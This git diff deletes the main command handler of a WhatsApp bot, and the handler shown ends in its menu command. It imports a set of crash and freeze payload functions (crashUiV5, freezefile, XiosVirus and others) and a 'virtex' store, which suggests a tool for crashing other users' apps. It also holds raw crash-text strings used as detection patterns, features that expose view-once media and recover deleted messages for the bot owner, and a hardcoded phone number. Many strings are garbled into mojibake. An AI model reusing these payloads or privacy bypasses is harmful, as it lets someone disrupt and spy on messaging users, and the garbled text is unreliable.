diff --git "a/case.js" "b/case.js"
--- "a/case.js"
+++ "b/case.js"
@@ -1,4931 +1 @@
-const chalk = require('chalk')
-const pino = require('pino')
-const fs = require("fs")
-const {
- Sticker,
- StickerTypes
-} = require('wa-sticker-formatter')
-const moment = require("moment-timezone");
-const util = require("util");
-const crypto = require("crypto")
-const {
- exec,
- spawn,
- execSync
-} = require("child_process")
-const axios = require("axios");
-const yts = require("yt-search");
-const speed = require("performance-now");
-const ms = require("parse-ms");
-const os = require('os');
-let platform = os.platform();
-let arch = os.arch();
-const {
- join,
- dirname
-} = require('path');
-const path = require('path');
-const {
- performance
-} = require('perf_hooks')
-const fetch = require('node-fetch');
-const request = require("request")
-const {
- msgFilter,
- addSpam,
- SpamExpired,
- cekSpam
-} = require('../lib/antispam')
-const {
- color
-} = require('../lib/color')
-const {
- toFirstCase,
- isNumber,
- pickRandom,
- generateProfilePicture,
- listCase,
- runtime,
- makeid,
- isUrl,
- fetchJson,
- sleep,
- getBuffer
-} = require("../lib/myfunc");
-const {
- Failed,
- Succes,
- checkDataId
-} = require("../lib/totalcmd");
-const _sewa = require('../lib/sewa')
-const _prem = require("../lib/premium");
-const {
- bad
-} = require('../message/messages')
-const {
- vnMenu,
- images
-} = require('../temp/media/links.js')
-const {
- virtex
-} = require('../database/virtex/virtex.js')
-//database
-const AntiSpam = db.data.antispam
-const DataId = db.data.data
-const ban = db.data.banned
-const premium = db.data.premium
-const listcmdblock = db.data.blockcmd
-const listerror = db.data.listerror
-const hitnya = db.data.hittoday
-const dash = db.data.dashboard
-const anonChat = db.data.anonymous
-const allcommand = db.data.allcommand
-const sewa = db.data.sewa
-const spammer = []
-//=================================================//
-
-module.exports = async (conn, dev, chatUpdate, store) => {
- var multi = db.data.settings['settingbot'].multi
- const m = dev
- var Ownerin = "000@s.whatsapp.net"
- const Tnow = (new Date() / 1000).toFixed(0)
- const seli = Tnow - m.messageTimestamp.low
- if (seli > Intervalmsg) return console.log((`Message ${Intervalmsg} seconds ago ignored to avoid spamming`))
- try {
- const {
- type,
- now,
- args,
- sender,
- fromMe,
- from,
- botNumber,
- senderNumber,
- groupName,
- groupId,
- groupMembers,
- groupDesc,
- groupOwner,
- pushname,
- itsMe,
- mentionByTag,
- mentionByReply,
- users,
- budy,
- content,
- body
- } = dev
- const isGroup = m.key.remoteJid.endsWith('@g.us');
- const prefixFile = './database/prefix.json';
- let prefix = '.';
- if (fs.existsSync(prefixFile)) {
- try {
- const data = JSON.parse(fs.readFileSync(prefixFile, 'utf8'));
- if (data.prefix) prefix = data.prefix;
- } catch (error) {
- console.error('Error loading prefix:', error);
- }
- }
- var ownerNumber = [`${botNumber}@s.whatsapp.net`, `2347041039367@s.whatsapp.net`, `${conn.user.jid}`]
- const ownerFile = './database/owner.json';
- let ownerList = [];
- if (fs.existsSync(ownerFile)) {
- try {
- ownerList = JSON.parse(fs.readFileSync(ownerFile, 'utf8'));
- } catch (error) {
- console.error('Error loading owner list:', error);
- }
- }
- const isOwner = ownerNumber.includes(sender) || ownerList.includes(sender) || checkDataId("owner", sender, DataId);
- const isCmd = body.startsWith(prefix)
- const isCommand = isCmd ? body.replace(prefix, '').trim().split(/ +/).shift().toLowerCase() : ""
- const isCommandx = body.startsWith(prefix) ?
- body.replace(prefix, '').trim().split(/ +/).shift().toLowerCase() :
- body.trim().split(/ +/).shift().toLowerCase();
- const q = args.join(' ')
- const timeWib = moment().tz('Africa/Lagos').format('HH:mm:ss')
- const text = args.join(' ')
- const command = (_prem || isOwner) ? body.replace(prefix, '').trim().split(/ +/).shift().toLowerCase() : isCommand
- const theOwner = sender == Ownerin
- const timestampp = speed();
- const latensi = speed() - timestampp
- const quoted = dev.quoted ? dev.quoted : dev
- const mime = (quoted.msg || quoted).mimetype || ''
- const more = String.fromCharCode(8206)
- const readmore = more.repeat(4001)
- const numberQuery = q.replace(new RegExp("[()+-/ +/]", "gi"), "") + `@s.whatsapp.net`
- const Input = (mentionByTag && mentionByTag[0]) ? mentionByTag[0] :
- (mentionByReply || q ? numberQuery : false);
- let publik = true
- const replyCommand = isCmd ? isCmd : allcommand.includes(toFirstCase(command))
- const selectedButton = (type == 'buttonsResponseMessage') ? dev.message.buttonsResponseMessage.selectedButtonId : ''
- const isMessage =
- m.message.conversation ||
- m.message.extendedTextMessage?.text ||
- m.message.imageMessage?.caption ||
- m.message.imageMessage?.url ||
- m.message.videoMessage?.caption ||
- m.message.videoMessage?.url ||
- m.message.stickerMessage?.url ||
- m.message.documentMessage?.caption ||
- m.message.documentMessage?.url ||
- m.message.audioMessage?.url ||
- m.message.buttonsResponseMessage?.selectedButtonId ||
- m.message.templateButtonReplyMessage?.selectedId ||
- m.message.listResponseMessage?.singleSelectReply?.selectedRowId ||
- m.message.contactMessage?.displayName ||
- m.message.locationMessage?.degreesLatitude ||
- m.message.pollCreationMessage?.name ||
- '';
- const user = global.db.data.users[m.sender]
- const chat = isGroup ? global.db.data.chats[m.chat] : false
- const kickon = global.db.data.kickon[m.chat]
- const botRun = global.db.data.others['runtime']
- const botTime = (new Date - botRun.runtime) || "Not detected"
- const runTime = clockString(botTime)
- if (global.autoReadChat === true && isMessage) {
- await conn.readMessages([m.key])
- }
- if (global.autotyping === true) {
- conn.sendPresenceUpdate('composing', from)
- }
- if (global.alwaysonline === true) {
- conn.sendPresenceUpdate('available', from);
- }
- //Waktu
- let d = new Date
- let locale = 'en'
- let gmt = new Date(0).getTime() - new Date('1 Januari 2021').getTime()
- let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(((d * 1) + gmt) / 84600000) % 5]
- let week = d.toLocaleDateString(locale, {
- weekday: 'long'
- })
- const calender = d.toLocaleDateString("en", {
- day: 'numeric',
- month: 'long',
- year: 'numeric'
- })
-
- function clockString(ms) {
- let d = isNaN(ms) ? '--' : Math.floor(ms / 86400000)
- let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) % 24
- let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
- let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
- var dDisplay = d > 0 ? d + (d == 1 ? " hari, " : " hari, ") : "";
- var hDisplay = h > 0 ? h + (h == 1 ? " jam, " : " jam, ") : "";
- var mDisplay = m > 0 ? m + (m == 1 ? " menit, " : " menit, ") : "";
- var sDisplay = s > 0 ? s + (s == 1 ? " detik" : " detik") : "";
- let time = d > 0 ? dDisplay + hDisplay + mDisplay + sDisplay : hDisplay + mDisplay + sDisplay
- return time
- }
- if (isGroup && chat) {
- if (!('name' in chat)) chat.name = groupNmae
- if (!isNumber(chat.add)) chat.add = 0
- if (!('welcome' in chat)) chat.welcome = false
- if (!('detect' in chat)) chat.detect = true
- if (!('sWelcome' in chat)) chat.sWelcome = ''
- if (!('sBye' in chat)) chat.sBye = ''
- if (!('sPromote' in chat)) chat.sPromote = ''
- if (!('sDemote' in chat)) chat.sDemote = ''
- if (!('desc' in chat)) chat.desc = true
- if (!('descUpdate' in chat)) chat.descUpdate = true
- if (!('stiker' in chat)) chat.stiker = false
- if (!("antibot" in chat)) chat.antibot = false
- if (!('antiimage' in chat)) chat.antiimage = false
- if (!('antisticker' in chat)) chat.antisticker = false
- if (!('antivideo' in chat)) chat.antivideo = false;
- if (!('antiaudio' in chat)) chat.antiaudio = false;
- if (!('antiLink' in chat)) chat.antiLink = false
- if (!isNumber(chat.expired)) chat.expired = 0
- if (!('antiBadword' in chat)) chat.antiBadword = true
- if (!('antispam' in chat)) chat.antispam = true
- if (!('antitroli' in chat)) chat.antitroli = false
- if (!('antivirtex' in chat)) chat.antivirtex = true
- if (!('antiwame' in chat)) chat.antiwame = false
- if (!('antitoxic' in chat)) chat.antitoxic = false
- if (!('viewonce' in chat)) chat.viewonce = true
- if (!('nsfw' in chat)) chat.nsfw = false
- if (!("rpg" in chat)) chat.rpg = false;
- if (!('clear' in chat)) chat.clear = false
- if (!isNumber(chat.cleartime)) chat.clearTime = 0
- } else if (isGroup) global.db.data.chats[m.chat] = {
- name: groupName,
- add: 0,
- welcome: false,
- detect: false,
- sWelcome: '',
- sBye: '',
- sPromote: '',
- sDemote: '',
- desc: true,
- descUpdate: true,
- antibot: false,
- antiimage: false,
- antisticker: false,
- antiaudio: false,
- antivideo: false,
- autostiker: false,
- antilink: false,
- antilinkgc: false,
- antidelete: false,
- antiasing: false,
- banchat: false,
- expired: 0,
- antibadword: false,
- antispam: true,
- antitroli: false,
- antivirtex: false,
- antitoxic: false,
- antipromosi: false,
- antihidetag: false,
- viewonce: false,
- nsfw: false,
- rpg: false,
- clear: false,
- clearTime: 0
- }
- const settings = global.db.data.settings['settingbot']
- if (settings) {
-
- //Auto set
- if (!isNumber(settings.status)) setting.status = new Date() * 1
- if (!('setmenu' in settings)) settings.setmenu = "document"
- if (!('docType' in settings)) settings.docType = "docx"
- if (!('Qoted' in settings)) settings.Qoted = "ftoko"
- if (!('autoBio' in settings)) settings.autoBio = true
- if (!('multi' in settings)) settings.multi = true
- if (!('prefix' in settings)) settings.prefix = "!"
- if (!('fake' in settings)) settings.fake = botName
- if (!('autoblockcmd' in settings)) settings.autoblockcmd = false
- if (!('fake1' in settings)) settings.fake1 = "EhzStore"
- if (!('replyType' in settings)) settings.replyType = "web"
- if (!('setwelcome' in settings)) settings.setwelcome = "type11"
- if (!('autoReport' in settings)) settings.autoReport = true
- if (!('autoLevel' in settings)) settings.autoLevel = true
- if (!('autoSticker' in settings)) settings.autoSticker = false
- if (!('publik' in settings)) settings.publik = true
-
- } else {
- global.db.data.settings['settingbot'] = {
- status: new Date() * 1,
- setmenu: "document",
- docType: "docx",
- Qoted: "ftoko",
- autoBio: true,
- multi: true,
- prefix: "!",
- fake: botName,
- autoblockcmd: false,
- replyType: "web",
- setwelcome: "type11",
- autoReport: true,
- autoLevel: true,
- autoSticker: false,
- publik: true
- }
- }
- const {
- downloadContentFromMessage,
- generateWAMessageFromContent,
- getDevice,
- proto,
- generateWAMessageContent
- } = require("@whiskeysockets/baileys")
- async function createImage(url) {
- const {
- imageMessage
- } = await generateWAMessageContent({
- image: {
- url
- }
- }, {
- upload: conn.waUploadToServer
- });
- return imageMessage;
- }
- const groupMetadata = isGroup ? await conn.groupMetadata(m.chat).catch(e => {}) : ''
- const participants = isGroup ? await groupMetadata.participants : ''
- const groupAdmins = isGroup ? await participants.filter(v => v.admin !== null).map(v => v.id) : ''
- const isGroupOwner = isGroup ? groupMetadata.owner : ''
- const isBotGroupAdmins = isGroup ? groupAdmins.includes(botNumber) : false
- const isBotAdmins = isGroup ? groupAdmins.includes(botNumber) : false
- const isAdmins = isGroup ? groupAdmins.includes(sender) : false
- const isGroupAdmins = isGroup ? groupAdmins.includes(sender) : false
- const isAntiLink = isGroup ? db.data.chats[from].antilink : false
- const isWelcome = isGroup ? db.data.chats[from].welcome : true
- const isAntidelete = isGroup ? db.data.chats[from].antidelete : false
- const isAntilinkGc = isGroup ? db.data.chats[from].antilinkgc : false
- const isAntiVirtex = isGroup ? db.data.chats[from].antivirtex : false
- const isAntiToxic = isGroup ? db.data.chats[from].antitoxic : false
- const isPremium = isOwner ? true : _prem.checkPremiumUser(sender, premium)
- const isAntiViewOnce = isGroup ? db.data.chats[from].viewonce : false
- const isAntiBot = isGroup ? db.data.chats[from].antibot : false
- const isAntiNsfw = isGroup ? db.data.chats[from].nsfw : false
-
- //User
- const userLevel = user ? db.data.users[m.sender].level : true
- const userExp = user ? db.data.users[m.sender].exp : true
- const userId = user ? db.data.users[m.sender].id : true
- const amountExp = Math.floor(Math.random() * 10) + 50
- const requiredExp = 10000 * userLevel
- const userPersen = userExp / requiredExp * 100
- const userVerified = user ? db.data.users[m.sender].date : true
-
- //Ucapan Waktu
- if (timeWib < "23:59:00") {
- var ucapanWaktu = '๐พ๐๐ด๐๐ฐ๐ต'
- }
- if (timeWib < "19:00:00") {
- var ucapanWaktu = '๐พ๐๐ด๐๐ฐ๐ต'
- }
- if (timeWib < "18:00:00") {
- var ucapanWaktu = '๐พ๐๐ด๐๐ฐ๐ต'
- }
- if (timeWib < "15:00:00") {
- var ucapanWaktu = '๐พ๐๐ด๐๐ฐ๐ต'
- }
- if (timeWib < "11:00:00") {
- var ucapanWaktu = '๐พ๐๐ด๐๐ฐ๐ต'
- }
- if (timeWib < "06:00:00") {
- var ucapanWaktu = '๐พ๐๐ด๐๐ฐ๐ต'
- }
- conn.sendPresenceUpdate('unavailable', from);
-
- const isImage = (type === 'imageMessage')
- const isVideo = (type === 'videoMessage')
- const isSticker = (type == 'stickerMessage')
- const isAudio = (type == 'audioMessage')
- const isText = (type == 'conversation')
- const isMedia = (type === 'imageMessage' || type === 'videoMessage')
- const isViewOnce = (type == 'viewOnceMessageV')
- const isAllMedia = (type === 'imageMessage' || type === 'videoMessage' || type === 'stickerMessage' || type === 'audioMessage' || type === 'contactMessage' || type === 'locationMessage')
- const isQuotedImage = type === 'extendedTextMessage' && content.includes('imageMessage')
- const isQuotedVideo = type === 'extendedTextMessage' && content.includes('videoMessage')
- const isQuotedSticker = type === 'extendedTextMessage' && content.includes('stickerMessage')
- const isQuotedAudio = type === 'extendedTextMessage' && content.includes('audioMessage')
- const isQuotedTeks = type === 'extendedTextMessage' && content.includes('quotedMessage')
- const isQuotedTag = type === 'extendedTextMessage' && content.includes('mentionedJid')
- const isQuotedReply = type === 'extendedTextMessage' && content.includes('Message')
- const isQuotedText = type === 'extendedTextMessage' && content.includes('conversation')
- const isQuotedViewOnce = type === 'extendedTextMessage' && content.includes('viewOnceMessageV2')
- const pesilit = (type === 'conversation' && dev.message.conversation) ? dev.message.conversation : (type == 'imageMessage') && dev.message.imageMessage.caption ? dev.message.imageMessage.caption : (type == 'videoMessage') && dev.message.videoMessage.caption ? dev.message.videoMessage.caption : (type == 'extendedTextMessage') && dev.message.extendedTextMessage.text ? dev.message.extendedTextMessage.text : ''
- const messagesD = pesilit.slice(0).trim().split(/ +/).shift().toLowerCase()
- const messagesC = pesilit.slice(0).trim()
- const logMessage = (type, colorCode, timestamp, content, sender, group = null) => {
- let log = color(`[${type}]`, colorCode) +
- color(` [${timestamp}]`, "green") +
- color(` ${content}`, "cyan") +
- color(` from`, "gold") +
- color(` ${sender}`, "orange");
-
- if (group) log += color(` in group`, "purple") + color(` ${group}`, "deeppink");
- console.log(log);
- };
- const reply = async (teks) => {
- conn.sendMessage(from, {
- text: fontx(`${teks}\n> ${caption}`)
- });
- };
- const replyx = async (teks) => {
- conn.sendMessage(from, {
- text: teks
- });
- };
- const timestamp = moment.tz('Africa/Lagos').format('HH:mm');
-
- if (!isGroup && !isCmd) {
- logMessage("PRIVATE", "greenyellow", timestamp, budy, pushname);
- }
-
- if (isGroup && !isCmd) {
- logMessage("GROUP", "gold", timestamp, budy, pushname, groupName);
- }
-
- if (!isGroup && isCmd) {
- logMessage("CMD", "blue", timestamp, `${command} [${args.length}]`, pushname);
- }
-
- if (isGroup && isCmd) {
- logMessage("CMD", "blue", timestamp, `${command} [${args.length}]`, pushname, groupName);
- }
- const {
- crashcursor,
- InfiNite,
- freezefile,
- buginvite,
- crashUiV5,
- systemUi,
- systemUi2,
- crashui2,
- sendOfferCall,
- InVisiLoc,
- bugnew,
- XeonXRobust,
- Fuckui,
- InvisibleLoadFast,
- mati2,
- hardfreeze,
- betacrash,
- UpiCrash,
- VenCrash,
- AppXCrash,
- SmCrash,
- FBiphone,
- QXIphone,
- caywzzaja_notif,
- QPayIos,
- XeonIosOld,
- XeonIosPayOld,
- XeonIosNew,
- QPayStriep,
- QDIphone,
- IosMJ,
- XiosVirus
- } = require('../message/demon.js')
-
- // Pengubah teks
- const fontx = (text, style = 1) => {
- var abc = 'abcdefghijklmnopqrstuvwxyz1234567890'.split('');
- var ehz = {
- 1: 'แดสแดแด
แด๊ฐษขสษชแดแดสแดษดแดแดวซส๊ฑแดแดแด แดกxสแดข1234567890'
- };
- var replacer = [];
- abc.map((v, i) =>
- replacer.push({
- original: v,
- convert: ehz[style].split('')[i]
- })
- );
- var str = text.toLowerCase().split('');
- var output = [];
- str.map((v) => {
- const find = replacer.find((x) => x.original == v);
- find ? output.push(find.convert) : output.push(v);
- });
- return output.join('');
- };
- //รรรรรรรรรรรรรรรรรรรรรรรรร//
- let listRespon = global.db.data.respon[body]
- if (listRespon) m.reply(listRespon.respon)
-
- //FAKE REPLY
- const ments = (teks) => {
- return teks.match('@') ? [...teks.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net') : [sender]
- }
-
- const fcall = {
- key: {
- fromMe: false,
- participant: `0@s.whatsapp.net`,
- ...(from ? {
- remoteJid: "status@broadcast"
- } : {})
- },
- 'message': {
- extendedTextMessage: {
- text: body
- }
- }
- }
- const ehan = {
- key: {
- participant: `0@s.whatsapp.net`,
- ...(m.chat ? {
- remoteJid: `status@broadcast`
- } : {})
- },
- message: {
- "contactMessage": {
- 'displayName': `${pushname}`,
- 'vcard': `BEGIN:VCARD\nVERSION:3.0\nN:XL;menhera,;;;\nFN: ehanz Ai\nitem1.TEL;waid=${m.sender.split("@")[0]}:+${m.sender.split("@")[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`,
- 'jpegThumbnail': null,
- thumbnail: null,
- sendEphemeral: true
- }
- }
- }
- //Message
- require("./message.js")(senderNumber, prefix, command, reply)
- // Custom reply function
- const sendvn = (teks) => {
- conn.sendMessage(from, {
- audio: {
- url: teks
- },
- ptt: true,
- waveform: [0, 0, 50, 0, 0, 0, 10, 80, 10, 60, 10, 99, 60, 30, 10, 0, 0, 0],
- mimetype: 'audio/mpeg'
- })
- }
- const sendSticker = (teks) => {
- conn.sendMessage(from, {
- sticker: {
- url: teks
- }
- }, {
- quoted: m
- })
- }
- const pickRandom = (arr) => {
- return arr[Math.floor(Math.random() * arr.length)]
- }
- const vnme = vnMenu
- const dmusic = vnme[Math.floor(Math.random() * vnme.length)]
- const mentions = (teks, memberr, id) => {
- (id == null || id == undefined || id == false) ? conn.sendMessage(from, {
- text: teks,
- mentions: memberr,
- contextInfo: {
- "mentionedJid": memberr
- }
- }): conn.sendMessage(from, {
- mentions: memberr,
- text: teks,
- contextInfo: {
- "mentionedJid": memberr
- }
- }, {
- quoted: dev
- })
- }
- //รรรรรรรรรรรรรรรร{รรรร//
- const addSpammer = function(jid, _db) {
- let position = false
- Object.keys(_db).forEach((i) => {
- if (_db[i].id === jid) {
- position = i
- }
- })
- if (position !== false) {
- _db[position].spam += 1
- } else {
- let bulin = ({
- id: jid,
- spam: 1
- })
- _db.push(bulin)
- }
- }
-
- const FinisHim = async function(jid, _db) {
- let position = false
- Object.keys(_db).forEach((i) => {
- if (_db[i].id === jid) {
- position = i
- }
- })
- if (position !== false) {
- if (_db[position].spam > 7) {
- if (db.data.users[sender].banned.status || !isOwner) {
- return
- }
- let obj = {
- id: senderNumber,
- status: true,
- date: calender,
- reason: "Spam Bot"
- }
- db.data.users[woke].banned = obj
- console.log(`${jid} Terdeteksi spam lebih dari ${_db[position].spam} kali`)
- reply("Kamu telah di banned karena telah melakukan spam")
- }
- } else {
- console.log(`Spam ke ${_db[position].spam}`)
- }
- }
- //System Expired
- _sewa.expiredCheck(conn, sewa)
- _prem.expiredCheck(premium)
-
- //ANTI SPAM BERAKHIR
- if (SpamExpired(senderNumber, "Case", AntiSpam)) {
- let position = false
- for (let i of spammer) {
- if (i.id == senderNumber) {
- position = i
- }
- }
-
- if (position !== false) {
- spammer.splice(position, 1)
- console.log(chalk.bgGreen(color("[ Remove ]", "black")), "Sukses remove spammer")
- }
- }
-
-
- SpamExpired(senderNumber, "NotCase", AntiSpam)
- if (isCmd && cekSpam("Case", senderNumber, AntiSpam)) {
- addSpammer(senderNumber, spammer)
- FinisHim(senderNumber, spammer)
- console.log(chalk.bgYellowBright(color("[ SPAM ]", "black")), "antispam Case aktif")
- return
- }
-
- //ANTI SPAM PRIVATE CHAT
- if (antiSpam && isCmd && msgFilter.isFiltered(from) && !isGroup && !itsMe && !isOwner) {
- addSpam("Case", senderNumber, "5s", AntiSpam)
- addSpammer(senderNumber, spammer)
- return reply("`YOO,STOP SPAMMING CMD`")
- }
-
- //ANTI SPAM GROUP CHAT
- if (antiSpam && isCmd && msgFilter.isFiltered(from) && isGroup && !itsMe && !isOwner) {
- addSpam("Case", senderNumber, "10s", AntiSpam)
- addSpammer(senderNumber, spammer)
- return reply("`YOO,STOP SPAMMING CMD`")
- }
- if (isCmd && !isOwner) msgFilter.addFilter(from)
- // This case was invented by BLUE DEMON
- if (global.autoreact && isMessage) {
- try {
- const emojis = [
- "๐", "๐", "๐", "๐ฅถ", "๐ต",
- "๐", "๐", "๐ค", "๐", "๐",
- "๐", "๐ค", "๐ฅฐ", "๐", "๐",
- "๐ฌ", "๐", "๐", "๐", "๐ฅณ",
- "๐คฉ", "๐
", "๐คญ", "๐ท", "๐ด",
- "๐ค", "๐ฎ", "๐ฌ", "๐ช", "๐
",
- "๐", "๐ค", "๐ฅบ", "๐ค", "๐",
- "๐", "๐ณ", "๐", "๐", "๐ฅถ",
- "๐", "๐", "๐ก", "๐ฌ", "๐คง",
- "๐ฉ", "๐", "๐ถ", "๐ณ", "๐",
- "๐", "๐", "๐คญ", "๐คฉ", "๐บ",
- "๐ถโ๐ซ๏ธ", "๐ค", "๐คฏ", "๐ฑ", "๐ฅต",
- "๐ถ", "๐", "๐ค", "๐ค", "๐คง",
- "๐คฎ", "๐คซ", "๐ฅธ", "๐ง", "๐",
- "๐ซฃ", "๐ฅฑ", "๐ค", "๐ฎโ๐จ", "๐ค "
- ];
- const getRandomEmoji = () => emojis[Math.floor(Math.random() * emojis.length)];
- if (m.key && m.key.remoteJid && m.key.id) {
- const randomEmoji = getRandomEmoji();
- await conn.sendMessage(m.chat, {
- react: {
- text: randomEmoji,
- key: m.key
- }
- });
- }
- } catch (error) {
- console.error("Error in AutoReact:", error.message || error);
- }
- }
- if (!settings.publik && !isOwner) return;
- if (settings) {} else global.db.data.settings['settingbot'] = {
- status: new Date() * 1,
- }
- if ((new Date() * 1 - settings.status > 2000) && settings && settings.autoBio) {
- let data = global.db.data.others['runtime']
- let time = (new Date - data.runtime)
- let bio = `โ๏ธ๐๐๐๐ ๐๐๐๐๐-๐๐๐ ๐๐โ๏ธ`
- await conn.updateProfileStatus(bio).catch(_ => _)
- settings.status = new Date() * 1
- }
- // Function Loading
- async function loading() {
- let emotLoad = [`${themeemoji}`]
- await conn.sendMessage(from, {
- react: {
- text: emotLoad,
- key: m.key
- }
- })
- }
- async function loadingx() {
- let emotLoaderr = ["๐"]
- await conn.sendMessage(from, {
- react: {
- text: emotLoaderr,
- key: m.key
- }
- })
- }
- async function killing() {
- let emotLoad = [`๐`]
- await conn.sendMessage(from, {
- react: {
- text: emotLoad,
- key: m.key
- }
- })
- }
-
- async function autoViewStatus() {
- try {
- if (global.autoswview === true) {
- let statusList = await conn.fetchStatusUpdates();
- for (let status of statusList) {
- await conn.readStatus(status.id);
- }
- }
- } catch (err) {
- console.error("Error in autoViewStatus:", err);
- }
- }
-
- //-------------------- ใSECURITYใ ------------------\\
- //ANTI VIEWONCE
- if ((type == 'viewOnceMessage' || isQuotedViewOnce) && (isAntiViewOnce || budy.startsWith("Readviewonce"))) {
- const {
- downloadContentFromMessage
- } = (await import('@whiskeysockets/baileys')).default
- if (isQuotedViewOnce) {
- var view = m.quoted.message
- } else {
- var view = m.message.viewOnceMessage.message
- }
-
- let Type = Object.keys(view)[0]
- let media = await downloadContentFromMessage(view[Type], Type == 'imageMessage' ? 'image' : 'video')
- let buffer = Buffer.from([])
- for await (const chunk of media) {
- buffer = Buffer.concat([buffer, chunk])
- }
- if (/video/.test(Type)) {
- conn.sendFile(m.chat, buffer, 'media.mp4', view[Type].caption || '', m)
- } else if (/image/.test(Type)) {
- conn.sendFile(m.chat, buffer, 'media.jpg', view[Type].caption || '', m)
- }
- }
-
- /*==========ANTILINK=========*/
- if (isGroup && isAntiLink) {
- if (budy.includes(`https:`)) {
- if (isGroupAdmins) return reply(`*ใ LINK DETECTED ใ*\n> *GROUP ADMINS ARE EXCEPTIONAL*`)
- if (ownerNumber.includes(sender)) return reply(`*ใ LINK DETECTED ใ*`)
- let linkgc = await conn.groupInviteCode(from)
- if (budy.includes(`${linkgc}`)) return reply(`*ใ GROUP LINK DETECTED ใ*\n> *Almost kicked you โ๏ธ*`)
- if (budy.includes('blue') || budy.includes('admin')) return reply('*ใ GROUP LINK DETECTED ใ*\nADMIN PERMISSION RECEIVED')
- reply(` *ใ LINK DETECTED ใ*\n> You sent a link, sorry you were kicked from the group`)
- setTimeout(() => {
- if (isBotGroupAdmins) conn.sendMessage(from, {
- delete: m.key
- })
- conn.groupParticipantsUpdate(from, [sender], 'remove').catch((e) => {
- reply(`BOT MUST BE ADMIN`)
- })
- }, 2000)
- }
- }
- /*==========ANTILINK๐๐๐=========*/
- if (type === 'protocolMessage' && global.antidelete) {
- let mess = chatUpdate.messages[0].message.protocolMessage;
-
- try {
- let chats = Object.entries(await conn.chats).find(([user, data]) =>
- data.messages && data.messages[mess.key.id]
- );
-
- if (chats && chats[1] !== undefined) {
- let msg = JSON.parse(JSON.stringify(chats[1].messages[mess.key.id]));
- let info = `๐ *Deleted Message Detected*\n\n` +
- `๐ *Chat/Group Name:* ${chats[1]?.metadata?.subject || "Private Chat"}\n` +
- `๐ค *Sender:* ${msg.pushName || "Unknown"}\n` +
- `> ${caption}`;
- await conn.sendMessage(botNumber, {
- text: info
- });
- await conn.copyNForward(botNumber, msg).catch(e => console.log(e, msg));
- }
- } catch (error) {
- console.error("Error handling anti-delete:", error);
- }
- }
- //ANTI VIRUS
- if (isGroup && isAntiVirtex) {
- if (budy.includes('เนเนเนเน') || budy.includes('เธเธธ') || budy.includes('เธเธดเธเธธเธเนเนเธถเธฒเธเธทเธเธดเธเธธเธเนเนเธถเธฒเธเธท') || budy.includes('เนเนเนเนเนเนเนเน') || budy.includes('เงญเงญเงญเงญเงญเงญเงญเงญ') || budy.includes(' โข โข โข ') || budy.includes('*โแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโโขแกโขแกโขแกโขแกโขแกโขแกโขแกโขโโขแกโขแกโขแกโขแกโขแกโขแกโขโโแกโแกโแกโขแกโขแกโขโโขโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโโขแกโขแกโขแกโขแกโขแกโขแกโขแกโขโโขแกโขแกโขแกโขแกโขแกโขแกโขโโแกโแกโแกโขแกโขแกโขโโขโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโ แกโแกโแกโแกโแกโแกโแกแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโโขแกโขแกโขแกโขแกโขแกโขแกโขแกโขโโขแกโขแกโขแกโขแกโขแกโขแกโขโโแกโแกโแกโขแกโขแกโขโโขโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโ') || budy.includes('เธเธเธดเธเธธเนเนเธถเธฒเธเธเธทเธเธดเธเธธเนเน') || budy.includes('.*เกเฃฉเฃฉเฃฉเฃฉเฃจเฃจเฃจเฃฐเฃฐเฃฐเฃฒเฃฒเฃฒเฃฒเฃปเฃปเฃปเฃผเฃผเฃผเฃฝเฃฝเฃพเฃถเฃถเฃทเฃฏเฃฏเฃฎเฃฎเฃตเฃดเฃฌเฃฌเฃฌเฃคเฃคเฃฆเฃฏเฃงเฃง*') || budy.includes('แฅ') || budy.includes('ุ') || budy.includes('ูฏูฏูฏูฏูฏ')) {
- if (isGroupAdmins) return reply('*VIRTEX DETECTED*')
- console.log(color('[KICK]', 'red'), color('Received a virus text!', 'yellow'))
- conn.sendMessage(m.chat, `*TANDAI TELAH DIBACA*\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n *Bang yg ngirim virtex nih:* \nwa.me/${sender.split("@")[0]}`)
- if (!isBotGroupAdmins) {
- return
- }
- if (isOwner) {
- return
- }
- await conn.groupParticipantsUpdate(from, [sender], 'remove')
- conn.sendMessage(from, {
- delete: m.key
- })
- await conn.sendMessage(`${botNumber}@s.whatsapp.net`, {
- text: `*Hey owner a virtex was detected ${isGroup?`in ${groupName} group*`:''}`
- })
- }
- }
- try {
- switch (command) {
- case 'menu':
- case 'hey-minorr': {
- await loading();
- const randomImage = images[Math.floor(Math.random() * images.length)];
-
- conn.sendMessage(m.chat, {
- image: {
- url: randomImage
- },
- caption: fontx(`โ๏ธใ ๐๐๐๐ ๐ ๐๐๐๐๐ ๐๐ ใโ๏ธ
-> *๐ *\`\`\`NAME : ${pushname}\`\`\`
-> *๐ *\`\`\`STATUS : ${isPremium ? '๐ฟ๐๐๐๐๐๐' : '๐ต๐๐๐'}\`\`\`
